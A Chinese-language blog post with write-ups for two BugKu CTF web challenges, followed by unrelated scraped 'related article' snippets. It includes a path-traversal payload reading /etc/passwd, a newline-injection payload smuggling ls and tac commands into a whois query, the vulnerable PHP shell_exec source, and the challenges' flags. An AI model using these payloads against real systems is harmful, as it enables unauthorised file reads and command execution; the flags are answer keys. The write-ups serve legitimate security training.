BugKu刷题日记(web)一

文章目录

  • lfi
    • 题目页面
    • 恶意构造
    • 解题思路
  • Whois
    • 题目页面
    • 恶意构造
    • 解题思路

lfi

来源:https://ctf.bugku.com/challenges/detail/id/429.html
漏洞类型:文件包含漏洞
同类型BugKu:baby ifi、baby ifi 2

题目页面

1

恶意构造

http://example.com/index.php?language=../../../etc/passwd

解题思路

bp抓包,之后修改GET头,加上恶意构造。
2

GET /?language=/etc/passwd HTTP/1.1
Host: 82.157.146.43:16461
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag:shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

Whois

来源:https://ctf.bugku.com/challenges/detail/id/432.html
漏洞类型:命令执行

题目页面

1

恶意构造

http://example.com/query.php?host=whois.verisign-grs.com%0A&query=ls
http://example.com/query.php?host=whois.verisign-grs.com%0A&query=tac%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

在 shell 或终端中执行命令的上下文中,该$字符用于表示 shell 提示符的开始。它本身不是一个命令,而是一个表示 shell 已准备好接受用户输入的符号。

解题思路

  1. 利用JS读取工具可以发现源代码文件
  2. 分析源代码
  3. 进行恶意构造,利用回车的URL编码绕过第一个判断,之后使用命令执行即可
  4. GET传参数

3
进行命令执行
4
解析

<?php
error_reporting(0);$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";if (isset($_GET['query']) && isset($_GET['host']) && is_string($_GET['query']) && is_string($_GET['host'])) {$query = $_GET['query'];$host = $_GET['host'];if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {$output = "Invalid query or whois host";} else {$output = shell_exec("/usr/bin/whois -h ${host} ${query}");}} 
else {highlight_file(__FILE__);exit;
}
?>
<!DOCTYPE html>
<html><head><title>Whois</title></head><body><pre><?= htmlspecialchars($output) ?></pre></body>
</html>

让我逐行解释一下代码的功能:

  1. error_reporting(0); - 这行代码用于关闭错误报告,以确保不会向浏览器输出任何错误信息。

  2. $output = null; - 声明一个名为$output的变量,并将其初始化为空。

  3. $host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/"; - 正则表达式,用于验证输入的主机名是否合法。

  4. $query_regex = "/^[0-9a-zA-Z\. ]+$/"; - 正则表达式,用于验证查询字符串是否合法。

  5. if (isset($_GET['query']) && isset($_GET['host']) && is_string($_GET['query']) && is_string($_GET['host'])) { - 检查是否设置了’query’和’host’参数,并确保这两个参数是字符串类型。

  6. $query = $_GET['query']; - 将’query’参数的值赋给$query变量。

  7. $host = $_GET['host']; - 将’host’参数的值赋给$host变量。

  8. if (!preg_match($host_regex, $host) || !preg_match($query_regex, $query)) { - 使用正则表达式验证主机名和查询字符串的有效性。如果未通过验证,则输出"Invalid query or whois host"。

  9. $output = shell_exec("/usr/bin/whois -h ${host} ${query}"); - 调用shell_exec函数执行命令,使用指定的Whois服务器和查询参数执行Whois查询,并将结果赋给$output变量。

  10. highlight_file(__FILE__); - 如果没有设置’query’和’host’参数,或者参数无效,则显示代码本身。

  11. <?= htmlspecialchars($output) ?> - 在HTML页面中输出Whois查询结果,使用htmlspecialchars函数确保输出的文本不会被解析为HTML标签。

正则表达式:
正则表达式的意图是仅允许字母数字字符、点号和连字符(对于 h o s t ),以及字母数字字符、点号和空格(对于 host),以及字母数字字符、点号和空格(对于 host),以及字母数字字符、点号和空格(对于query)。考虑到这些,以下是一些可能的绕过方法:

  1. 逻辑短路:
  • 如果正则表达式的实现或使用方式存在缺陷,输入可能不完全被验证。例如,如果系统在验证通过之前就执行了部分输入,或者在正则表达式匹配后未正确清理输入。
  1. 正则表达式实现差异:
  • 不同的编程语言或库对正则表达式的解释可能略有差异。攻击者可能利用这些差异找到绕过的方法。
  1. 编码和转义字符:
  • 通过使用URL编码、多字节字符或转义序列,可能在不违反正则表达式的条件下使输入被解释为有害命令。
  1. 逻辑误用:
  • 如果验证逻辑被误用,例如,在验证后没有完全消毒或引用变量,可能导致注入攻击。

flag: shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/541194.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解锁基于LLMS的咒语:通过上下文学习重新思考对齐

一、写作动机&#xff1a; 最近的一项研究&#xff0c;LIMA&#xff0c;表明仅使用1K个示例进行SFT也可以实现显著的对齐性能&#xff0c;这表明对齐微调的效果可能是“表面的”。&#xff08;知识和推理能力来源于预训练&#xff0c;而不是必须通过对齐微调获得的。&#xff…

带大家做一个,易上手的家常炒紫甘蓝

这里 拿了半个紫甘蓝 半个就够炒一盘子 按 片 切成 片条 因为 你切开就会发现 里面很多地方会变成一条一条的 切小一点 因为紫甘蓝相对其他蔬菜 会硬一些 切大了 不好咬 然后过清水洗干净 两瓣蒜 切片 然后 起锅烧油 下入三个干辣椒 炒一小会儿 然后 下入 甘蓝翻炒 翻炒几…

uni-app微信小程序上拉加载,下拉刷新

pages.json配置官网链接 onPullDownRefresh、onReachBottom函数跟生命周期同级 data() {return {orderList:[],total: null, //总共多少条数据page: 1,pageSize: 10,} }, onLoad() {}, mounted(){this.getInfo() }, methods:{getInfo(){API.getListxxx().then(res > {const…

寻找用户痛点塑造产品价值 4大注意事项

移动互联网时代&#xff0c;用户价值不言而喻&#xff0c;只有拥有用户思维&#xff0c;寻找到用户痛点&#xff0c;塑造出产品价值&#xff0c;才能打造出爆款产品。因此要塑造产品价值&#xff0c;核心是寻找用户痛点。如果没有找到用户痛点&#xff0c;意味着产品无法满足用…

Linux 管道

目录 一、认识管道 二、匿名管道 pipe函数 用法&#xff1a; pipefd&#xff1a; 匿名管道通信&#xff1a; 三、命名管道 概念&#xff1a; 创建&#xff1a; 特性&#xff1a; 用途&#xff1a; 四、命名管道和匿名管道的区别 命名&#xff1a; 持久性&#xff1a;…

鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:Refresh)

可以进行页面下拉操作并显示刷新动效的容器组件。 说明&#xff1a; 该组件从API Version 8开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 子组件 支持单个子组件。 从API version 11开始&#xff0c;Refresh子组件会跟随手势下拉而下移…

Autosar教程-Mcal教程-Lin配置教程

3.7LIN配置、生成 3.7.1 配置通用设置 3.7.2 配置Dem参数 3.7.3 配置Lin通道 3.7.4配置生成命令 参照Dio生成命令方法&#xff0c;创建Lin生成命令&#xff0c;创建完成后按下面提供的信息配置生成命令。 实际上MCAL代码并不能单独生成&#xff0c;它需要和BSW的配置文件一…

企业如何高效管理微信里的客户?

对于企业来说&#xff0c;懂得高效管理微信列表的客户是非常重要的一件事&#xff0c;只有把客户管理好了&#xff0c;才能更好地提高客户的满意度和忠诚度&#xff0c;我们的销售业务才能顺利进行。 那么&#xff0c;应该怎样管理才能算是高效管理呢&#xff1f;下面就给大家…

DLL修复,快速补救带来了文件丢失问题,完美解救计算困境!

动态链接库&#xff08;DLL&#xff09;文件在Windows操作系统中扮演着重要角色&#xff0c;它们允许多个程序共享同一个功能或信息&#xff0c;从而节省系统资源并简化编码。但是&#xff0c;当DLL文件发生错误时&#xff0c;它可能导致软件崩溃或无法正常工作。在本文中&…

【MySQL】4. 表的操作

表的操作 1. 创建表 语法&#xff1a; CREATE TABLE table_name ( field1 datatype, field2 datatype, field3 datatype ) character set 字符集 collate 校验规则 engine 存储引擎;说明&#xff1a; field 表示列名 datatype 表示列的类型 character set 字符集&#xff0c…

一文轻松学会远程服务器/docker内 vscode,调试(debug)无/多参数/bash以及多工作空间运行的python程序,欢迎大佬补充,一起学习

至于如何SSH、docker以及无需参数的程序调试这篇就先不说了。本篇文章主要记录一下多参数和多工作空间调试的问题。 一、launch.json文件 如上图所示&#xff0c;正常情况下当我们想要调试项目名字为0的目录下的train.py文件时&#xff0c;我们会按顺序点1&#xff0c;2&#…

labview技术交流-判断两个数组的元素是否完全相同

问题来源 分析并判断两个一维数组中包含的元素是否完全相同&#xff0c;不考虑索引顺序。比如说[1,5,7,3]和[3,5,7,1]是完全相同的两个一维数组&#xff0c;那[1,5,7,3]和[5,7,1,4]就不是相同的数组。结合我给出的示例&#xff0c;大家有没有什么思路呢&#xff1f; 思路分析 …